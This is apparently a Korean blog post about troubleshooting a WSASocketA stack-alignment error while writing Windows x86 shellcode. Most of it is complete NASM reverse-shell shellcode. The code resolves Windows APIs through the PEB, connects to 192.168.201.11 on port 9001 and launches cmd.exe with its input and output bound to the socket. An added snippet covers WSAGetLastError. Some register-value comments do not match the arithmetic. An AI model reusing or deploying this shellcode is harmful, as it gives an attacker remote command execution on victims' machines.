리버스쉘에 접속하는 쉘코드를 작성하고 있었는데 왜인지는 모르겠으나 자꾸만 WSASocketA 함수에서 -1이 반환되었다.
WSAGetLastError를 통해 확인해보면 10022(WSAEINVAL) 오류라고 하는데 인수가 잘못되었다고 한다.
바이너리로 만들어서 확인해보면 잘만 되는데 쉘코드로 했을 때는 안되길래 엄청난 삽질 끝에 해결책을 알아냈다.
해결책은 다음과 같다.
먼저, WSASocketA 함수는 사용 전에 다음과 같은 조건을 맞추어줘야 한다.
- rsp must be 16-byte aligned before the call.
- There must be 32 bytes of free space at the top of the stack before the call, which can be freely used by the called function.
- The first 4 function parameters are in rcx, rdx, r8, and r9, and the remaining parameters are on the stack starting at rsp+0x20.
대부분은 WSASocketA 함수 호출 직전 esp/rsp를 4/8의 배수로 맞춰주면 해결된다.
필자는 쉘 코드 시작시에 sub esp, 2를 해줌으로써 해결하였다.
Reverse Connection Shellcode
global _start
section .text
_start:SUB esp, 0x2 ; stack alignment for WSASocketA
; Locate Kernelbase.dll addressXOR ECX, ECX ;zero out ECXMOV EAX, FS:[ecx + 0x30] ;EAX = PEBMOV EAX, [EAX + 0x0c] ;EAX = PEB->LdrMOV ESI, [EAX + 0x14] ;ESI = PEB->Ldr.InMemoryOrderModuleListLODSD ;memory address of the second list entry structureXCHG EAX, ESI ;EAX = ESI , ESI = EAXLODSD ;memory address of the third list entry structureXCHG EAX, ESI ;EAX = ESI , ESI = EAXLODSD ;memory address of the fourth list entry structureMOV EBX, [EAX + 0x10] ;EBX = Base address
; Export TableMOV EDX, DWORD [EBX + 0x3C] ;EDX = DOS->e_lfanewADD EDX, EBX ;EDX = PE HeaderMOV EDX, DWORD [EDX + 0x78] ;EDX = Offset export tableADD EDX, EBX ;EDX = Export tableMOV ESI, DWORD [EDX + 0x20] ;ESI = Offset names tableADD ESI, EBX ;ESI = Names tableXOR ECX, ECX ;EXC = 0
GetFunction :
INC ECX; increment counterLODSD ;Get name offsetADD EAX, EBX ;Get function nameCMP dword [EAX], 0x50746547 ;"PteG"JNZ SHORT GetFunction ;jump to GetFunction label if not "GetP"CMP dword [EAX + 0x4], 0x41636F72 ;"rocA"JNZ SHORT GetFunction ;jump to GetFunction label if not "rocA"CMP dword [EAX + 0x8], 0x65726464 ;"ddre"JNZ SHORT GetFunction ;jump to GetFunction label if not "ddre"
MOV ESI, DWORD [EDX + 0x24] ;ESI = Offset ordinalsADD ESI, EBX ;ESI = Ordinals tableMOV CX, WORD [ESI + ECX * 2] ;CX = Number of functionDEC ECX ;Decrement the ordinalMOV ESI, DWORD [EDX + 0x1C] ;ESI = Offset address tableADD ESI, EBX ;ESI = Address tableMOV EDX, DWORD [ESI + ECX * 4] ;EDX = Pointer(offset)ADD EDX, EBX ;EDX = GetProcAddress
; Get the Address of LoadLibraryA functionXOR ECX, ECX ;ECX = 0PUSH EBX ;Kernel32 base addressPUSH EDX ;GetProcAddressPUSH ECX ;0PUSH 0x41797261 ;"Ayra"PUSH 0x7262694C ;"rbiL"PUSH 0x64616F4C ;"daoL"PUSH ESP ;"LoadLibrary"PUSH EBX ;Kernel32 base addressMOV ESI, EBX ;save the kernel32 address in esi for laterCALL EDX ;GetProcAddress(LoadLibraryA)
ADD ESP, 0xC ;pop "LoadLibraryA"POP EDX ;EDX = 0PUSH EAX ;EAX = LoadLibraryAPUSH EDX ;ECX = 0MOV DX, 0x6C6C ;"ll"PUSH EDXPUSH 0x642E3233 ;"d.23"PUSH 0x5F327377 ;"_2sw"PUSH ESP ;"ws2_32.dll"CALL EAX ;LoadLibrary("ws2_32.dll")
ADD ESP, 0x10 ;Clean stackMOV EDX, [ESP + 0x4] ;EDX = GetProcAddressPUSH 0x61617075 ;"aapu"SUB word [ESP + 0x2], 0x6161 ;"pu" (remove "aa")PUSH 0x74726174 ;"trat"PUSH 0x53415357 ;"SASW"PUSH ESP ;"WSAStartup"PUSH EAX ;ws2_32.dll addressMOV EDI, EAX ;save ws2_32.dll to use it laterCALL EDX ;GetProcAddress(WSAStartup)
; Call WSAStartUpXOR EBX, EBX ;zero out ebx registerMOV BX, 0x0190 ;EAX = sizeof(struct WSAData)SUB ESP, EBX ;allocate space for the WSAData structurePUSH ESP ;push a pointer to WSAData structurePUSH EBX ;Push EBX as wVersionRequestedCALL EAX ;Call WSAStartUp
;Find the address of WSASocketAADD ESP, 0x10 ;Align the stackXOR EBX, EBX ;zero out the EBX registerADD BL, 0x4 ;add 0x4 at the lower register BLIMUL EBX, 0x64 ;EBX = 0x190MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddressPUSH 0x61614174 ;"aaAt"SUB word [ESP + 0x2], 0x6161 ;"At" (remove "aa")PUSH 0x656b636f ;"ekco"PUSH 0x53415357 ;"SASW"PUSH ESP ;"WSASocketA", GetProcAddress 2nd argumentMOV EAX, EDI ;EAX now holds the ws2_32.dll addressPUSH EAX ;push the first argument of GetProcAddressCALL EDX ;call GetProcAddressPUSH EDI ;save the ws2_32.dll address to use it later
;call WSASocketAXOR ECX, ECX ;zero out ECX registerPUSH 0x0PUSH 0x0PUSH 0x0MOV EDX, 0x6 ;IPPROTO_TCP;PUSH EDX ;null value for dwFlags argument;PUSH EDX ;zero value since we dont have an existing socket group;PUSH EDX ;null value for lpProtocolInfo;MOV DL, 0x6 ;IPPROTO_TCPPUSH EDX ;set the protocol argumentINC ECX ;SOCK_STREAM(TCP)PUSH ECX ;set the type argumentINC ECX ;AF_INET(IPv4)PUSH ECX ;set the ddress family specification argumentCALL EAX ;call WSASocketAXCHG EAX, ECX ;save the socket returned from WSASocketA at EAX to ECX in order to use it later
;Find the address of connectPOP EDI ;load previously saved ws2_32.dll address to ECXADD ESP, 0x10 ;Align stackXOR EBX, EBX ;zero out EBXADD BL, 0x4 ;add 0x4 to lower register BLIMUL EBX, 0x63 ;EBX = 0x18cMOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddressPUSH 0x61746365 ;"atce"SUB word [ESP + 0x3], 0x61 ;"tce" (remove "a")PUSH 0x6e6e6f63 ;"nnoc"PUSH ESP ;"connect", second argument of GetProcAddressPUSH EDI ;ws32_2.dll address, first argument of GetProcAddressXCHG ECX, EBPCALL EDX ;call GetProcAddress
;call connectPUSH 0x6a6ac92b ;sin_addr set to 192.168.201.11 2BC96A6A C0A8C90BPUSH word 0xb80b ;port = 9001XOR EBX, EBX ;zero out EBXadd BL, 0x2 ;TCP protocolPUSH word BX ;push the protocol value on the stackMOV EDX, ESP ;pointer to sockaddr structure (IP,Port,Protocol)PUSH byte 16 ;the size of sockaddr - 3rd argument of connectPUSH EDX ;push the sockaddr - 2nd argument of connectPUSH EBP ;socket descriptor = 64 - 1st argument of connectXCHG EBP, EDICALL EAX ;execute connect;
;Find the address of CreateProcessAADD ESP, 0x14 ;Clean stackXOR EBX, EBX ;zero out EBXADD BL, 0x4 ;add 0x4 to lower register BLIMUL EBX, 0x62 ;EBX = 0x190MOV EDX, [ESP + EBX] ;EDX has the address of GetProcAddressPUSH 0x61614173 ;"aaAs"SUB dword [ESP + 0x2], 0x6161 ;"As"PUSH 0x7365636f ;"seco"PUSH 0x72506574 ;"rPet"PUSH 0x61657243 ;"aerC"PUSH ESP ;"CreateProcessA" - 2nd argument of GetProcAddressMOV EBP, ESI ;move the kernel32.dll to EBPPUSH EBP ;kernel32.dll address - 1st argument of GetProcAddressCALL EDX ;execute GetProcAddressPUSH EAX ;address of CreateProcessALEA EBP, [EAX] ;EBP now points to the address of CreateProcessA
;call CreateProcessAPUSH 0x61646d63 ;"admc"SUB word [ESP + 0x3], 0x61 ;"dmc" ( remove a)MOV ECX, ESP ;ecx now points to "cmd" stringXOR EDX, EDX ;zero out EDXSUB ESP, 16MOV EBX, esp ;pointer for ProcessInfo
;STARTUPINFOA structPUSH EDI ;hStdError => saved socketPUSH EDI ;hStdOutput => saved socketPUSH EDI ;hStdInput => saved socketPUSH EDX ;lpReserved2 => NULLPUSH EDX ;cbReserved2 => NULLXOR EAX, EAX ;zero out EAX registerINC EAX ;EAX => 0x00000001ROL EAX, 8 ;EAX => 0x00000100PUSH EAX ;dwFlags => STARTF_USESTDHANDLES 0x00000100PUSH EDX ;dwFillAttribute => NULLPUSH EDX ;dwYCountChars => NULLPUSH EDX ;dwXCountChars => NULLPUSH EDX ;dwYSize => NULLPUSH EDX ;dwXSize => NULLPUSH EDX ;dwY => NULLPUSH EDX ;dwX => NULLPUSH EDX ;pTitle => NULLPUSH EDX ;pDesktop => NULLPUSH EDX ;pReserved => NULLXOR EAX, EAX ;zero out EAXADD AL, 44 ;cb => 0x44 (size of struct)PUSH EAX ;eax points to STARTUPINFOA
;ProcessInfo structMOV EAX, ESP ;pStartupInfoPUSH EBX ;pProcessInfoPUSH EAX ;pStartupInfoPUSH EDX ;CurrentDirectory => NULLPUSH EDX ;pEnvironment => NULLPUSH EDX ;CreationFlags => 0XOR EAX, EAX ;zero out EAX registerINC EAX ;EAX => 0x00000001PUSH EAX ;InheritHandles => TRUE => 1PUSH EDX ;pThreadAttributes => NULLPUSH EDX ;pProcessAttributes => NULLPUSH ECX ;pCommandLine => pointer to "cmd"PUSH EDX ;ApplicationName => NULLCALL EBP ;execute CreateProcessA추가 : WSAGetLastError
쉘코드 작성 중에 WSA 함수 관련해서 오류 확인하고 싶으면 아래 코드 추가하면 된다.
POP EDI ;load previously saved ws2_32.dll address to ECXADD ESP, 0x10 ;Align stackXOR EBX, EBX ; Zero out the EBX registerADD BL, 0x4 ; Add 0x4 to the lower register BLIMUL EBX, 0x63 ; EBX = 0x194 (assuming WSAGetLastError's ordinal is the next one)MOV EDX, [ESP + EBX] ; EDX has the address of GetProcAddressPUSH 0x61726f72 ; "aror"SUB word [ESP + 0x3], 0x61 ;"ror" (remove "a")PUSH 0x72457473 ; "rEts"PUSH 0x614c7465 ; "aLte"PUSH 0x47415357 ; "GASW"PUSH ESP ; "WSAGetLastError", GetProcAddress 2nd argumentMOV EAX, EDI ; EAX now holds the ws2_32.dll addressPUSH EAX ; Push the first argument of GetProcAddressCALL EDX ; Call GetProcAddressPUSH EDI ; Save the ws2_32.dll address to use it later
; Call WSAGetLastErrorCALL EAX ; Call WSAGetLastError